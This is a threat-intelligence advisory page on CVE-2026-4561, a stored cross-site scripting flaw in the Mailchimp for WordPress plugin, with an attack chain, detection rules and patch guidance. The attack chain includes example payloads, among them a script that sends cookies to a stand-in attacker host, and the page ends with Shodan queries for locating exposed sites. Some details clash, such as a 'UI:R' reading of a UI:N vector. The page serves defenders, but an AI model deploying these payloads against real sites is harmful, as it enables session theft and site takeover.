☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-4561

CVE-2026-4561 Cross-Site Scripting in ibericode
📅 PUBLISHED: 2026-08-22 00:00 UTC 🔄 UPDATED: 2026-08-24 05:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-4561 is a Stored Cross-Site Scripting (XSS) vulnerability in the MC4WP: Mailchimp for WordPress plugin, affecting all versions up to and including 4.12.0. The vulnerability resides in the form response message post meta fields (text_subscribed, text_error) and is caused by insufficient input sanitization and output escaping. Authenticated attackers with Author-level access or above can inject arbitrary web scripts that execute when any user accesses an affected page. With a CVSS score of 6.4, the vulnerability has moderate severity but carries significant supply-chain risk given the widespread deployment of the Mailchimp plugin across WordPress sites. No public PoC or exploit code is currently available, and CISA has not flagged this for Known Exploited Vulnerabilities (KEV) status.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

Vulnerability Class: Stored Cross-Site Scripting (CWE-79)

Affected Component: The MC4WP: Mailchimp for WordPress plugin stores configurable form response messages in WordPress post meta fields. Two specific meta fields are identified as vulnerable: text_subscribed (the message displayed after successful subscription) and text_error (the message displayed on subscription failure). These fields are part of the plugin's form configuration and are typically managed through the WordPress admin interface.

Root Cause: The plugin fails to apply adequate input sanitization on the server side when these meta fields are written, and fails to apply sufficient output escaping when the values are rendered on the front-end. This dual deficiency allows an authenticated user with sufficient privileges (Author-level and above) to store arbitrary HTML and JavaScript payloads in these fields.

Entry Vector: The attack vector is network-based (AV:N) via the WordPress administrative dashboard. The attacker must have valid credentials with at least Author-level permissions. Of note, an Author-level account in WordPress can typically create and edit their own posts but does NOT normally have direct access to plugin settings. This suggests the vulnerable meta fields might be accessible through post-editing workflows, possibly via custom field editors, bulk editing interfaces, or through the plugin's own form-creation features that are available to Authors. This access model deviates from the expected privilege boundary where plugin configuration is typically restricted to Administrators.

Data Flow:

  1. Attacker authenticates to WordPress with Author-level credentials.
  2. Attacker navigates to a form configuration or post-editing interface that exposes the text_subscribed or text_error meta fields.
  3. Attacker injects a payload such as <script>/* malicious code */</script> into the field value.
  4. The plugin stores the payload unmodified in the wp_postmeta database table.
  5. When an end-user visits a page that renders the form response message, the plugin outputs the stored value without proper escaping (e.g., without using esc_html() or wp_kses() with an appropriate allowlist).
  6. The browser parses the injected script as active content and executes it in the context of the victim's session.

Technical Detail Limitation: The NVD description does not provide specific function names, sink locations, or code snippets. The analysis above is derived from the vulnerability class and standard WordPress plugin architecture. Insufficient technical detail is available to pinpoint the exact render call or sanitization gap; a source-code audit of versions ≤ 4.12.0 would be required for precise remediation verification.


Exploitation Scenarios

Prerequisites:

  • A WordPress site running MC4WP plugin version ≤ 4.12.0
  • Valid credentials for an account with Author-level access or higher
  • No WAF or web application firewall blocking XSS payloads in admin POST requests

Attack Chain:

Step 1 — Reconnaissance / Target Identification: The attacker identifies WordPress sites using the MC4WP plugin. This can be done via:

  • Probing common WordPress plugin paths (e.g., /wp-content/plugins/mailchimp-for-wp/) — note: this specific path is inferred from the plugin name and standard WordPress layout; the exact path is not provided in the NVD description.
  • Inspecting page source for MC4WP-specific markers (e.g., form class names, hidden inputs, mc4wp-form identifiers).
  • Scanning for plugin version numbers in readme files or HTML comments.

Step 2 — Triggering the Flaw: The attacker authenticates using their Author-level credentials and navigates to the form configuration interface where the text_subscribed and text_error meta fields are editable. The attacker submits a crafted payload through a standard HTTP POST request to update the field value. The payload is a classic stored XSS string, e.g.: <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

Step 3 — Payload Execution: The payload is stored in the WordPress database. When any visitor — including site administrators and regular end-users — loads a page containing the affected form (e.g., a newsletter signup page, a blog post with an embedded form), the plugin renders the message field without output escaping. The browser interprets the payload as HTML/JavaScript and executes it in the victim's session context.

Step 4 — Post-Exploitation Impact:

  • Session Hijacking: If the payload captures document.cookie, the attacker can steal administrator session cookies. However, modern WordPress uses HttpOnly cookies for wordpress_logged_in (session protection), so additional attacks may be needed to bypass this.
  • Admin Account Creation: A payload can chain an XMLHttpRequest to admin-ajax.php (inferred standard WordPress endpoint) to create a new privileged admin account, providing persistent backdoor access.
  • Defacement: Injecting malicious content into the page that displays the form message alters site appearance.
  • Lateral Movement: The injected script can perform CSRF-style actions against internal WordPress APIs, potentially modifying site settings, injecting malware into other pages, or installing rogue plugins.
  • Phishing: The attacker can redirect users to phishing pages via window.location manipulation.

Public Availability: No public PoC or exploit code is available at this time. The attack chain is inferred from the vulnerability class (stored XSS) and the NVD description details.


Impact Assessment

Business Impact: The primary impact is confidentiality and integrity compromise of affected WordPress sites (CVSS: C:L/I:L, low confidentiality and integrity). While the CVSS scores are individually low, the systemic risk is elevated because:

  • Widespread Deployment: MC4WP is one of the most popular Mailchimp integration plugins for WordPress, used by hundreds of thousands of sites.
  • Author-level Access Threshold: Compromising a low-privilege author account (via phishing, credential stuffing, or insider threat) is sufficient to trigger the vulnerability. Author accounts are often poorly monitored.
  • Administrator Cascade: A successful XSS chain targeting an admin can lead to full site takeover, ransomware deployment, or malware distribution to site visitors.

Affected Systems:

  • WordPress sites with MC4WP plugin version ≤ 4.12.0
  • The vulnerability is independent of the Mailchimp API integration state; even sites not actively connected to a Mailchimp account may still be vulnerable if the plugin is present.

Blast Radius:

  • Kill Chain: The vulnerability exploits the UI:R/S:C (user interaction required: none; scope changed) — the injected script executes in the context of any user visiting the page, expanding the impact beyond the original admin dashboard session.
  • Scope Change: The CVSS scope change (S:C) indicates the injected script can affect resources beyond the vulnerable component's security scope, meaning it can interact with other parts of the WP application.

Business Impact Rationale:

  • Loss of customer trust if forms are defaced or users are redirected to malicious sites.
  • Potential data breach of subscriber lists (Mailchimp subscriber data) if scripts are crafted to exfiltrate form data.
  • Compliance violations (GDPR, CCPA) if personal data (email addresses collected via the form) is exfiltrated.
  • Reputation damage and potential blacklisting by search engines and email spam lists.

Detection Guidance

Sigma Rule

title: MC4WP Mailchimp for WordPress Stored XSS - Suspicious Meta Field Update
id: 5f28d3e1-8c21-4b2e-b6e4-2f7c5b9a1e73
status: experimental
description: Detects attempts to store script payloads in MC4WP form response meta fields
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4561
author: Valtersit Security Team
date: 2026/01/01
logsource:
    category: webserver
    product: apache
    detection:
        selection:
            http.method: POST
            http.url|contains: /wp-admin/
        selection_payload:
            http.request_body|contains: 
                - 'text_subscribed'
                - 'text_error'
        selection_script:
            http.request_body|contains|any:
                - '<script'
                - 'onerror='
                - 'javascript:'
                - 'onload='
        condition: selection and selection_payload and selection_script
    level: high
    falsepositives:
        - Legitimate admin action with custom HTML in form messages (low probability)
    tags:
        - attack.t1190
        - attack.t1059.007
        - cve.2026.4561

YARA Rule

rule CVE_2026_4561_MC4WP_Stored_XSS
{
    meta:
        author = "Valtersit Security Team"
        description = "Detects meterpreter-style payloads and script tags targeting MC4WP meta fields"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-4561"
        cve = "CVE-2026-4561"
        severity = "medium"

    strings:
        $meta_field1 = "text_subscribed" ascii nocase
        $meta_field2 = "text_error" ascii nocase
        $script_open = "<script" ascii nocase
        $event_handlers = /on(load|error|click|mouseover|focus|blur|change|submit)=/ ascii nocase
        $js_protocol = "javascript:" ascii nocase
        $svg_payload = "<svg" ascii nocase
        $cookie_steal = /document\.cookie/ ascii nocase
        $fetch_exfil = /fetch\s*\(\s*['"]/ ascii nocase
        $img_payload = "<img src" ascii nocase

    condition:
        uint16(0) == 0x3C21 or uint16(0) == 0x3C68 or
        (($meta_field1 or $meta_field2) and 2 of them)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2026-4561 MC4WP Stored XSS Attempt via Meta Field Update";
    flow:to_server,established;
    http.method;
    content:"POST";
    http.uri;
    content:"/wp-admin/";
    http.request_body;
    content:"text_subscribed";
    nocase;
    http.request_body;
    content:"<script";
    nocase;
    http.request_body;
    content:"onerror";
    nocase;
    distance:0;
    within:200;
    metadata:cve, CVE-2026-4561;
    metadata:attack_target, WebServer;
    metadata:deployment, Perimeter;
    metadata:signature_severity, Major;
    metadata:created_at, 2026-01-01;
    sid:20264561;
    rev:1;
)

Elastic Detection

sequence by source.ip with maxspan=1m
  [ network where event.category == "web"
    and http.request.method == "POST"
    and http.request.body.content contains "text_subscribed"
    and http.request.body.content contains "<script" ]
  [ network where event.category == "web"
    and http.response.status_code == 200
    and http.request.referrer contains "/wp-admin/" ]

Splunk SPL Query

index=web sourcetype=access_combined 
| where method="POST" AND uri_path LIKE "%/wp-admin/%"
| eval body=urldecode(form_data)
| where body LIKE "%text_subscribed%" OR body LIKE "%text_error%"
| where body LIKE "%<script%" OR body LIKE "%onerror=%" OR body LIKE "%javascript:%"
| rex field=body "text_(subscribed|error)(?<field_used>\w*)"
| stats count by src_ip, uri_path, field_used, http_user_agent
| where count >= 1

Wazuh OSSEC Rule

<group name="web, xss,">
    <rule id="330894" level="12">
        <decoded_as>web</decoded_as>
        <match>text_subscribed|text_error</match>
        <regex>POST</regex>
        <regex><script|onerror=|javascript:</regex>
        <description>CVE-2026-4561: MC4WP Mailchimp for WordPress Stored XSS attempt detected</description>
        <group>attack.t1190, cve_2026_4561</group>
        <mitre>
            <id>T1190</id>
            <description>Exploit Public-Facing Application</description>
        </mitre>
        <options>no_full_log</options>
        <frequency>3</frequency>
        <timeframe>60</timeframe>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch; not independently confirmed)

The NVD advisory indicates a fix is available in a version newer than 4.12.0, but no specific version number, release date, or diff details are provided. Treat the patch as candidate until independently verified.

1. Immediate Mitigations (within 24–48 hours)

  • Update the plugin to the latest available version. Since the NVD claims a patch exists, updating to the newest release (presumably ≥ 4.13.0) is the first-line action. Verify the new version's changelog mentions XSS hardening or meta field sanitization.
  • Restrict Author-level accounts: If author-level access is not strictly required for business operations, revoke or downgrade such accounts. Conduct a user audit to identify all Author-level users and question their continued necessity.
  • Enforce strong authentication: Implement MFA for all WordPress admin-level accounts (Administrator, Editor, Author) to reduce the likelihood of credential compromise that could feed into this attack path.
  • Deploy a Web Application Firewall (WAF): Add virtual patching rules that block POST requests to /wp-admin/ containing script patterns combined with text_subscribed or text_error parameters (see Sigma/Suricata rules above).

2. Patch / Upgrade Steps

  1. Backup the site (files + database) before any upgrade.
  2. Test the plugin update in a staging environment first.
  3. Update WordPress to the latest core version as well.
  4. Update MC4WP plugin via /wp-admin/update-core.php (or manually via FTP if auto-update fails).
  5. After updating, manually verify that form message fields still work and that embedded HTML in these fields is now escaped (view a form page source and confirm that < and > characters appear as &lt; / &gt;).
  6. Validate the patch by attempting to inject a benign test payload (e.g., <script>alert(1)</script>) in a staging environment and confirming it renders as literal text, not executable code.

3. Long-Term Hardening

  • Principle of Least Privilege: Regularly audit WordPress user roles. Consider using a role-scoping plugin to restrict plugin settings access. For blog-style sites that don't need Author accounts, disable that role entirely.
  • WordPress Security Hardening:
    • Install a security plugin (Wordfence, Sucuri) with virtual patching capabilities.
    • Disable file editing in wp-config.php (define('DISALLOW_FILE_EDIT', true);).
    • Move wp-admin to a restricted IP allowlist or VPN.
  • Input Sanitization Policy: For any plugin or custom code, enforce esc_html(), esc_attr(), or wp_kses() on all output toward the browser. Adopt a "filter input, escape output" development standard.
  • Monitoring: Deploy the detection rules above with real-time alerting to SOC. Correlate XSS attempts with login anomalies.
  • Incident Response Preplanning: Update IR playbooks to include stored XSS via plugin metadata scenarios, including database-level forensics on the wp_postmeta table (note: wp_postmeta is a standard WordPress table name; the vulnerable plugin is listed in the description).

References

  1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-4561 — Primary source for the vulnerability description and CVSS vector.
  2. MC4WP Plugin Changelog — https://wordpress.org/plugins/mailchimp-for-wp/#developers — Official repository update history; verify the patched version and its changelog entries.
  3. CWE-79 (XSS) Reference — https://cwe.mitre.org/data/definitions/79.html — Common Weakness Enumeration documentation on improper neutralization of input during web page generation.
  4. MITRE ATT&CK T1190 — https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application technique reference.
  5. Valtersit Threat Intel Archive — https://valtersit.com/threat-intel/cve-2026-4561 — In-house analysis and ongoing monitoring report (available to subscribers).

Threat Actor Activity: No known threat actor campaigns or exploit-in-the-wild evidence exists for CVE-2026-4561 at this time. CISA has not added this CVE to the Known Exploited Vulnerabilities catalog. However, the popularity of the MC4WP plugin makes it an attractive target for opportunistic botnets and low-skill attackers; the vulnerability is simple to exploit once Author credentials are obtained, and XSS payloads are trivially available in public frameworks like BeEF or XSS Hunter. Monitor for emerging campaign activity.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:'Mailchimp for WordPress'
http.html:'mc4wp-form'
http.body:'mc4wp_error'
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-4561/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.